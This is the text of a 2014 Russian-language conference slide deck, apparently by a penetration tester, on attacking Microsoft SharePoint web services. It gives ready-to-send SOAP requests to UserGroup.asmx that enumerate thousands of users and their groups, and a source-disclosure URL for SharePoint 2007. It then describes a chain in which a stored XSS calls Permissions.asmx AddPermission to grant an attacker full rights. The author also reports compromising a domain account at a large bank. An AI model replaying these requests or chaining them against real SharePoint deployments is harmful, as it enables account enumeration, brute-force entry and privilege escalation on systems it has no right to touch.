AUG 30, 2014
АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ СЕРВИСОВ SHAREPOINT СО СТОРОНЫ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
By George Lagoda
AUG 30, 2014
George Lagoda
PENTESTER
VULNERABILITY RESEARCHER
BUG HUNTER
WHITEHAT
DEFCON MOSCOW FOUNDER
3
ЧТО ПРЕПАРИРУЕМ ? 4
ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT
5
ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы
ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов
ПОИСК ИНФОРМАЦИИ в документах и информационных системах
УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия
БИЗНЕС-АНАЛИЗ
6
Google hacking
ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ
ЗАКРЫТЫЕ ДЕТАЛИ
НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ
УЯЗВИМОСТЬ ЗАГРУЗКИ ИСХОДНЫХ
КОДОВ ASPX СТРАНИЦ
7
• Работает только в SharePoint 2007
• Необходимо знать адрес конкретной страницы
• Основной интерес представляют страницы написанные
разработчиками сайта h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/Default.aspx&Source=h-p://www.example.com/Pages/Default.aspx&FldUrl=
ВЕБ-СЕРВИСЫ SHAREPOINT
8
GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”
ТОНКИЙ МОМЕНТ
9
/_vG_bin/
/_vG_bin/
СТАРЫЙ СПОСОБ ПЕРЕЧИСЛЕНИЯ ПОЛЬЗОВАТЕЛЕЙ
10 HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1
НЕДОСТАТКИ СТАРОГО СПОСОБА
11
• Необходимо инкрементировать ID
• Не всегда есть доступ к просмотру
• Можно попасть в группу
• Самый большой ID не известен
• NTLM или Kerberos авторизация при автоматизации
• Парсинг данных при автоматизации
• Что делать если их “over 9000”?????
ОТ ТЕОРИИ К ПРАКТИКЕ
12
POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
12
13 13
8000+ пользователей
одним запросом
14 14
GREP “TEST”
15
МНОГО ДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ
15
DUMMY BRUTE LEADS TO PWN
16
• Захвачена тестовая доменная учетная запись
• Повышена сложность обнаружения злоумышленника
• Разные тестовые учетные записи могут содержать разные
права доступа к сайту
• Приведен пример из боевого проекта, получен аккаунт из
домена крупного российского банка
16
DEER HUNTING
17
Для поиска интересного аккаунта помимо тестового
перечисляем список групп и узнаем в какой группе
находится наша “жертва”
17
ПОЛУЧАЕМ СПИСОК ГРУПП
18
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
18
список групп на разных сайтах
в рамках одного домена может
различаться
19 19
ИНТЕРЕСЕН ЛИ НАМ АККАУНТ?
20
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromUser xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/">
<userLoginName>SHAREPOINT\system</userLoginName>
</GetGroupCollectionFromUser>
</soap:Body>
</soap:Envelope>
20
21 21
НАХОДИШЬ ХРАНИМЫЕ XSS НА ЛЮБОМ САЙТЕ?
ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ?
МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ?
ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА
МОЖНО СТАТЬ АДМИНОМ?
22
/_vti_bin/Permissions.asmx
23
Сайт + хранимая XSS + XHR с одним из этих методов +
CORS нам не мешает = разрешения админа )
23
ИГРАЕМ С РАЗРЕШЕНИЯМИ
24
POST /_vti_bin/Permissions.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://
schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/
directory/">
<objectName>testsite1</objectName>
<objectType>web</objectType>
<permissionIdentifier>i:0#.w|ra1d3n\test3</permissionIdentifier>
<permissionType>User</permissionType>
<permissionMask>-1</permissionMask>
</AddPermission>
</soap:Body>
</soap:Envelope>
24
THAT’S ALL FOLKS ;]
By George Lagoda
@rox41Id3n